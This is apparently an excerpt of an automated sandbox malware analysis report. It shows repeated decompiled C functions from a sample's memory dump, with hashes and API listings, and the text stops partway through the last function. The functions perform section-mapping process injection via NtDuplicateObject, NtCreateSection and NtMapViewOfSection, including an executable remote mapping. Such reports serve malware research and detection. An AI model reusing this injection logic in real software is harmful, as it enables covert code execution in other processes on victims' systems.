Opcode Fuzzy Hash: 9ecfb884ae7691c5ddcc621dabf301d435b390518ce656d318c6d778483d7623
Instruction Fuzzy Hash: 32615171904205FBEB209F95CC89FAF7BB8EF85704F10422AF912BA1E4D7749A01DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00401545() {
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t173;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t198;
				void* _t205;
				long _t220;

				asm("out 0x26, al");
				asm("fsubr dword [ecx+0x1581b84e]");
				_t136 = 0x393;
				_t155 = 0xd4;
				E004011BD(0x1581, _t134, 0x393, _t155, _t173, _t183, _t205);
				_t135 =  *((intOrPtr*)(_t198 + 8));
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t92;
				_t184 = _t198 - 0x60;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 = _t198 - 0x30;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 = _t198 - 0x28;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 = _t198 - 0x30;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t198 - 8)) = 0;
						_t105 = _t198 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t128 = _t198 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t198 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t130, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
									_t186 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] =  *(_t198 + 0x14);
									 *((intOrPtr*)(_t198 - 8)) =  *((intOrPtr*)(_t198 - 8)) + 1;
								}
							}
						}
						_t107 = _t198 - 0x50;
						_t136 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t198 + 0x6857a875) =  *(_t198 + 0x6857a875) | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 ||  *((intOrPtr*)(_t198 - 8)) == 0) {
								goto L69;
							}
							 *_t47 =  *(_t198 - 0x50);
							_t110 = _t198 - 0x48;
							 *_t110 = 0;
							_t136 = _t198 - 0x38;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 = _t198 - 0x40;
								 *_t112 = 0;
								_t136 = _t198 - 0x38;
								_t107 = NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t220 = _t107;
								if(_t220 == 0) {
									L24();
									if(_t220 == 0 && _t220 != 0) {
										asm("xlatb");
										if (_t220 <= 0) goto L19;
									}
								}
							}
							goto L69;
						}
					}
				}
				L69:
				_t96 = 0x1581;
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 743f04120ff395d01967548ba235cdde6e4c7babe3697bb8d319a725eb7ae0cd
Instruction ID: 0918bdb180e4d13286449c57059f4eeef7a0973c31609336eb7f363383352a7b
Opcode Fuzzy Hash: 743f04120ff395d01967548ba235cdde6e4c7babe3697bb8d319a725eb7ae0cd
Instruction Fuzzy Hash: CA513B71900205BFEB209F91CC89FAB7BB8EF85B14F10426AF911BA2E5D7749901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401551 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00401551() {
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr* _t99;
				struct _GUID _t107;
				long _t109;
				intOrPtr* _t110;
				PVOID* _t112;
				PVOID* _t114;
				PVOID* _t130;
				PVOID* _t132;
				void* _t136;
				long* _t138;
				intOrPtr* _t139;
				void* _t157;
				void* _t175;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t187;
				HANDLE* _t188;
				void* _t200;
				void* _t201;
				intOrPtr _t207;
				long _t222;

				_t1 = _t200 - 0x15;
				 *_t1 =  *((intOrPtr*)(_t200 - 0x15)) - _t201;
				_t207 =  *_t1;
				_t138 = 0x393;
				_t157 = 0xd4;
				E004011BD(0x1581, _t136, 0x393, _t157, _t175, _t185, _t207);
				_t137 =  *((intOrPtr*)(_t200 + 8));
				 *((intOrPtr*)(_t200 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t200 - 0x34)) =  *((intOrPtr*)(_t200 - 0x34)) + 1;
				}
				while(1) {
					_t94 =  *((intOrPtr*)(_t137 + 0x48))();
					if(_t94 != 0) {
						break;
					}
					 *((intOrPtr*)(_t137 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t200 - 0x5c)) = _t94;
				_t186 = _t200 - 0x60;
				 *_t186 = 0;
				 *((intOrPtr*)(_t137 + 0x4c))(_t94, _t186);
				_t97 =  *_t186;
				if(_t97 != 0) {
					_t139 = _t200 - 0x30;
					 *_t139 = _t97;
					 *((intOrPtr*)(_t139 + 4)) = 0;
					_t187 = _t200 - 0x28;
					 *((intOrPtr*)(_t137 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_t138 = _t200 - 0x30;
					_push(_t138);
					_push(_t187);
					_push(0x40);
					_push(_t200 - 0x10);
					if( *((intOrPtr*)(_t137 + 0x70))() == 0 && NtDuplicateObject( *(_t200 - 0x10), 0xffffffff, 0xffffffff, _t200 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t200 - 8)) = 0;
						_t107 = _t200 - 0x50;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						 *_t107 = 0x5000;
						_t188 = _t200 - 0x54;
						if(NtCreateSection(_t188, 6, 0, _t107, 4, 0x8000000, 0) == 0) {
							 *_t27 =  *(_t200 - 0x50);
							_t130 = _t200 - 0x44;
							 *_t130 = 0;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t130, 0, 0, 0, _t200 - 0x38, 1, 0, 4) == 0) {
								_t132 = _t200 - 0x3c;
								 *_t132 = 0;
								if(NtMapViewOfSection( *_t188,  *(_t200 - 0xc), _t132, 0, 0, 0, _t200 - 0x38, 1, 0, 4) == 0) {
									_t188 =  *(_t200 - 0x44);
									 *((intOrPtr*)(_t137 + 0x20))(0, _t188, 0x104);
									_t188[0x82] =  *(_t200 + 0x14);
									 *((intOrPtr*)(_t200 - 8)) =  *((intOrPtr*)(_t200 - 8)) + 1;
								}
							}
						}
						_t109 = _t200 - 0x50;
						_t138 =  *((intOrPtr*)(_t200 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t109 + 4)) = 0;
						while(1) {
							_t110 = _t109 + 0x89;
							 *(_t200 + 0x6857a875) =  *(_t200 + 0x6857a875) | _t138;
							 *_t110 =  *_t110 + _t110;
							 *_t110 =  *_t110 + _t138;
							_push(0x40);
							_push(_t110);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t188) != 0 ||  *((intOrPtr*)(_t200 - 8)) == 0) {
								goto L70;
							}
							 *_t49 =  *(_t200 - 0x50);
							_t112 = _t200 - 0x48;
							 *_t112 = 0;
							_t138 = _t200 - 0x38;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t112, 0, 0, 0, _t138, 1, 0, 4) == 0) {
								_t114 = _t200 - 0x40;
								 *_t114 = 0;
								_t138 = _t200 - 0x38;
								_t109 = NtMapViewOfSection( *_t188,  *(_t200 - 0xc), _t114, 0, 0, 0, _t138, 1, 0, 0x20);
								_t222 = _t109;
								if(_t222 == 0) {
									L25();
									if(_t222 == 0 && _t222 != 0) {
										asm("xlatb");
										if (_t222 <= 0) goto L20;
									}
								}
							}
							goto L70;
						}
					}
				}
				L70:
				_t98 = 0x1581;
				_t99 = _t137;
				_t137 = _t98;
				 *((intOrPtr*)(_t98 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t98 - 0x3b7cdbf4)) + _t138;
				_t98 = _t99 +  *_t99 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 28ea46fc13f763aac8f675a7c9271a7bc130c0593d24ff884d0943e89b40d10a
Instruction ID: 353427f9681ca1b08edf8712e2c6a84d5c067b1d6b093b2a6d869afccc6b23d0
Opcode Fuzzy Hash: 28ea46fc13f763aac8f675a7c9271a7bc130c0593d24ff884d0943e89b40d10a
Instruction Fuzzy Hash: A1511B75900205BBEB209F91CC89FEF7BB8EF85B14F10422AF911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040155A Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E0040155A(void* __eax, void* __esi) {
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr* _t99;
				struct _GUID _t107;
				long _t109;
				intOrPtr* _t110;
				PVOID* _t112;
				PVOID* _t114;
				PVOID* _t130;
				PVOID* _t132;
				void* _t136;
				long* _t138;
				intOrPtr* _t139;
				void* _t157;
				void* _t175;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				void* _t201;
				void* _t208;
				long _t223;

				asm("scasd");
				asm("popad");
				_t138 = 0x393;
				_t157 = 0xd4;
				E004011BD(__esi, _t136, 0x393, _t157, _t175, __eax, _t208);
				_t137 =  *((intOrPtr*)(_t201 + 8));
				 *((intOrPtr*)(_t201 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t201 - 0x34)) =  *((intOrPtr*)(_t201 - 0x34)) + 1;
				}
				while(1) {
					_t94 =  *((intOrPtr*)(_t137 + 0x48))();
					if(_t94 != 0) {
						break;
					}
					 *((intOrPtr*)(_t137 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t201 - 0x5c)) = _t94;
				_t187 = _t201 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t137 + 0x4c))(_t94, _t187);
				_t97 =  *_t187;
				if(_t97 != 0) {
					_t139 = _t201 - 0x30;
					 *_t139 = _t97;
					 *((intOrPtr*)(_t139 + 4)) = 0;
					_t188 = _t201 - 0x28;
					 *((intOrPtr*)(_t137 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_t138 = _t201 - 0x30;
					_push(_t138);
					_push(_t188);
					_push(0x40);
					_push(_t201 - 0x10);
					if( *((intOrPtr*)(_t137 + 0x70))() == 0 && NtDuplicateObject( *(_t201 - 0x10), 0xffffffff, 0xffffffff, _t201 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t201 - 8)) = 0;
						_t107 = _t201 - 0x50;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						 *_t107 = 0x5000;
						_t189 = _t201 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t107, 4, 0x8000000, 0) == 0) {
							 *_t26 =  *(_t201 - 0x50);
							_t130 = _t201 - 0x44;
							 *_t130 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t130, 0, 0, 0, _t201 - 0x38, 1, 0, 4) == 0) {
								_t132 = _t201 - 0x3c;
								 *_t132 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t201 - 0xc), _t132, 0, 0, 0, _t201 - 0x38, 1, 0, 4) == 0) {
									_t189 =  *(_t201 - 0x44);
									 *((intOrPtr*)(_t137 + 0x20))(0, _t189, 0x104);
									_t189[0x82] =  *(_t201 + 0x14);
									 *((intOrPtr*)(_t201 - 8)) =  *((intOrPtr*)(_t201 - 8)) + 1;
								}
							}
						}
						_t109 = _t201 - 0x50;
						_t138 =  *((intOrPtr*)(_t201 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t109 + 4)) = 0;
						while(1) {
							_t110 = _t109 + 0x89;
							 *(_t201 + 0x6857a875) =  *(_t201 + 0x6857a875) | _t138;
							 *_t110 =  *_t110 + _t110;
							 *_t110 =  *_t110 + _t138;
							_push(0x40);
							_push(_t110);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t189) != 0 ||  *((intOrPtr*)(_t201 - 8)) == 0) {
								goto L66;
							}
							 *_t48 =  *(_t201 - 0x50);
							_t112 = _t201 - 0x48;
							 *_t112 = 0;
							_t138 = _t201 - 0x38;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t112, 0, 0, 0, _t138, 1, 0, 4) == 0) {
								_t114 = _t201 - 0x40;
								 *_t114 = 0;
								_t138 = _t201 - 0x38;
								_t109 = NtMapViewOfSection( *_t189,  *(_t201 - 0xc), _t114, 0, 0, 0, _t138, 1, 0, 0x20);
								_t223 = _t109;
								if(_t223 == 0) {
									L21();
									if(_t223 == 0 && _t223 != 0) {
										asm("xlatb");
										if (_t223 <= 0) goto L16;
									}
								}
							}
							goto L66;
						}
					}
				}
				L66:
				_t98 = 0x1581;
				_t99 = _t137;
				_t137 = _t98;
				 *((intOrPtr*)(_t98 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t98 - 0x3b7cdbf4)) + _t138;
				_t98 = _t99 +  *_t99 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7b0ad736dcd72423f638f070914a6247c3ba94349cda22773bfe2a99d5248937
Instruction ID: 408b83ad6e0913f92e5bbc2ac5f0e59f65e3299c6741f2ca25b675dea8f48126
Opcode Fuzzy Hash: 7b0ad736dcd72423f638f070914a6247c3ba94349cda22773bfe2a99d5248937
Instruction Fuzzy Hash: 4F510B75900205BBEB209F91CC88FAF7BB8EF85B14F104229F911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00401564(void* __eax) {
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				struct _GUID _t106;
				long _t108;
				intOrPtr* _t109;
				PVOID* _t111;
				PVOID* _t113;
				PVOID* _t129;
				PVOID* _t131;
				void* _t135;
				long* _t137;
				intOrPtr* _t138;
				void* _t156;
				void* _t174;
				void* _t184;
				intOrPtr* _t185;
				intOrPtr* _t186;
				HANDLE* _t187;
				void* _t199;
				void* _t206;
				long _t221;

				_t90 = __eax + 1;
				_t206 = __eax + 1;
				_t137 = 0x393;
				_t156 = 0xd4;
				E004011BD(_t90, _t135, 0x393, _t156, _t174, _t184, _t206);
				_t136 =  *((intOrPtr*)(_t199 + 8));
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t93 =  *((intOrPtr*)(_t136 + 0x48))();
					if(_t93 != 0) {
						break;
					}
					 *((intOrPtr*)(_t136 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t93;
				_t185 = _t199 - 0x60;
				 *_t185 = 0;
				 *((intOrPtr*)(_t136 + 0x4c))(_t93, _t185);
				_t96 =  *_t185;
				if(_t96 != 0) {
					_t138 = _t199 - 0x30;
					 *_t138 = _t96;
					 *((intOrPtr*)(_t138 + 4)) = 0;
					_t186 = _t199 - 0x28;
					 *((intOrPtr*)(_t136 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_t137 = _t199 - 0x30;
					_push(_t137);
					_push(_t186);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t136 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t199 - 8)) = 0;
						_t106 = _t199 - 0x50;
						 *((intOrPtr*)(_t106 + 4)) = 0;
						 *_t106 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, 0, _t106, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t199 - 0x50);
							_t129 = _t199 - 0x44;
							 *_t129 = 0;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t129, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
								_t131 = _t199 - 0x3c;
								 *_t131 = 0;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t131, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
									_t187 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t136 + 0x20))(0, _t187, 0x104);
									_t187[0x82] =  *(_t199 + 0x14);
									 *((intOrPtr*)(_t199 - 8)) =  *((intOrPtr*)(_t199 - 8)) + 1;
								}
							}
						}
						_t108 = _t199 - 0x50;
						_t137 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t108 + 4)) = 0;
						while(1) {
							_t109 = _t108 + 0x89;
							 *(_t199 + 0x6857a875) =  *(_t199 + 0x6857a875) | _t137;
							 *_t109 =  *_t109 + _t109;
							 *_t109 =  *_t109 + _t137;
							_push(0x40);
							_push(_t109);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t187) != 0 ||  *((intOrPtr*)(_t199 - 8)) == 0) {
								goto L67;
							}
							 *_t47 =  *(_t199 - 0x50);
							_t111 = _t199 - 0x48;
							 *_t111 = 0;
							_t137 = _t199 - 0x38;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t111, 0, 0, 0, _t137, 1, 0, 4) == 0) {
								_t113 = _t199 - 0x40;
								 *_t113 = 0;
								_t137 = _t199 - 0x38;
								_t108 = NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t113, 0, 0, 0, _t137, 1, 0, 0x20);
								_t221 = _t108;
								if(_t221 == 0) {
									L22();
									if(_t221 == 0 && _t221 != 0) {
										asm("xlatb");
										if (_t221 <= 0) goto L17;
									}
								}
							}
							goto L67;
						}
					}
				}
				L67:
				_t97 = 0x1581;
				_t98 = _t136;
				_t136 = _t97;
				 *((intOrPtr*)(_t97 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t97 - 0x3b7cdbf4)) + _t137;
				_t97 = _t98 +  *_t98 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c0224ca73386a5b758005c9f9a4e63412d740fa453daccb7ed0abea9724c6841
Instruction ID: 90f08ec445cbe98008d26f566738419331c53eaa7457057c2bfce7b7b040d814
Opcode Fuzzy Hash: c0224ca73386a5b758005c9f9a4e63412d740fa453daccb7ed0abea9724c6841
Instruction Fuzzy Hash: 04510B75900205BBEB209F91CC88FAF7BB8FF85714F104229F911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401568 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00401568() {
				void* _t89;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t173;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t198;
				void* _t205;
				long _t220;

				asm("into");
				_t155 = 0xd4;
				E004011BD(_t89, _t134, _t136, _t155, _t173, _t183, _t205);
				_t135 =  *((intOrPtr*)(_t198 + 8));
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t92;
				_t184 = _t198 - 0x60;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 = _t198 - 0x30;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 = _t198 - 0x28;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 = _t198 - 0x30;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t198 - 8)) = 0;
						_t105 = _t198 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t128 = _t198 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t198 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t130, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
									_t186 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] =  *(_t198 + 0x14);
									 *((intOrPtr*)(_t198 - 8)) =  *((intOrPtr*)(_t198 - 8)) + 1;
								}
							}
						}
						_t107 = _t198 - 0x50;
						_t136 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t198 + 0x6857a875) =  *(_t198 + 0x6857a875) | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 ||  *((intOrPtr*)(_t198 - 8)) == 0) {
								goto L65;
							}
							 *_t47 =  *(_t198 - 0x50);
							_t110 = _t198 - 0x48;
							 *_t110 = 0;
							_t136 = _t198 - 0x38;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 = _t198 - 0x40;
